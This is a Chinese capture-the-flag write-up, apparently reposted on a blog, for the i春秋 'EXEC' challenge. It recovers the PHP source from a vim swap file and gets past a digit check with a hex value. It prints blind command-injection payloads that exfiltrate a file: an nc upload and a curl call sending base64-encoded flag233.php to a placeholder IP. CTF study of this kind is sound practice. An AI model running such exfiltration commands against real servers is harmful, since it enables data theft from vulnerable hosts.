当前位置: 首页 > article >正文

i春秋-EXEC(命令执行、nc传输文件、带外通道传输数据)

练习平台地址

竞赛中心

题目描述

 题目内容 

小猫旁边有一个no sign

F12检查页面

没有提示

检查源代码

发现使用了vim编辑器

进而联想到vim编辑器的临时交换文件.xxx.swp

访问.index.php.swp,成功下载文件

使用vim -r 查看文件内容

vim -r index.php.swp

<?php
/*
flag in flag233.php
*/
 function check($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i < strlen($number); $i++)
        {   
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }
           return $number == '11259375';
}
if(isset($_GET[sign])&& check($_GET[sign])){
        setcookie('auth','tcp tunnel is forbidden!');
        if(isset($_POST['cmd'])){
                $command=$_POST[cmd];
                $result=exec($command);
                //echo $result;
        }
}else{
        die('no sign');
}
?>

 代码分析

 function check($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i < strlen($number); $i++)
        {   
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }
}

参数sign必须是11259375,而且每一位的值的ascii码不能大于1或小于9


if(isset($_GET[sign])&& check($_GET[sign])){
        setcookie('auth','tcp tunnel is forbidden!');
        if(isset($_POST['cmd'])){
                $command=$_POST[cmd];
                $result=exec($command);
                //echo $result;
        }
}else{
        die('no sign');
}

如果检查通过并成功执行了命令,不打印no sign

解题

检查可以通过11259375的十六进制进行绕过

执行命令发现echo $flag被注释了,不会直接打印结果

nc传输文件

nc -u 域名(ip地址 端口) < xxx

cmd=nc -u 域名(ip地址 端口) < xxx


data=$(cat x.txt); 相当于创建了值为x.txt内容的一个变量,用$data可引用该变量,通过管道符 | 和 base64 命令,可将目标base64编码,curl 可访问目标url,这会在目标服务器留下日志

cmd=data=$(cat flag233.php | base64);curl http://xx.xx.xx.xx/?data=$data;

参考文章

i春秋-百度杯十月场-EXEC-CSDN博客

i春秋——“百度杯”CTF比赛 十月场——EXEC(命令执行、带外通道传输数据)...-CSDN博客

Flag

由于没有服务器这里无法得到flag,可以参考上述文章的做法


http://www.kler.cn/a/394118.html

相关文章:

  • 「Mac玩转仓颉内测版12」PTA刷题篇3 - L1-003 个位数统计
  • 基于Python的网上银行综合管理系统
  • 深度学习——优化算法、激活函数、归一化、正则化
  • HTTP常见的请求头有哪些?都有什么作用?在 Web 应用中使用这些请求头?
  • 4.4 软件设计:UML顺序图
  • HelloMeme 上手即用教程
  • JavaScript中统计每个字符出现的个数(使用reduce方法)
  • unity单例模式的不同声明(待完善
  • 【C语言】从3x5矩阵计算前三行平均值并扩展到4x5矩阵
  • 为什么hbase在大数据领域渐渐消失
  • 速盾:cdn 支持 php 吗?
  • 如何保障医院内部的隔离网安全跨网文件交换?
  • PyTorch深度学习与企业级项目实战-预训练语言模型GPT
  • 探索AutoDL与CodeWithGPU:深度学习之旅的新起点
  • 【python】机器学习调参与自动化:使用Hyperopt优化你的模型
  • Microsoft Fabric - 尝试一下Real time event stream
  • 标贝科技:AI基础数据服务,人工智能行业发展的底层支撑
  • 【大数据学习 | HBASE高级】hbase-phoenix 与二次索引应用
  • React中 修改 html字符串 中某些元素的属性
  • ArkUI---常用组件---按钮 (Button)
  • 机器学习【激活函数】
  • 【LeetCode】【算法】64. 最小路径和
  • 【C++】类和对象-上
  • 【RabbitMQ】09-取消超时订单
  • 深入理解 MVC 与其他主流设计模式:架构精髓与实现方法详解
  • 67页PDF |埃森哲_XX集团信息发展规划IT治理优化方案(限免下载)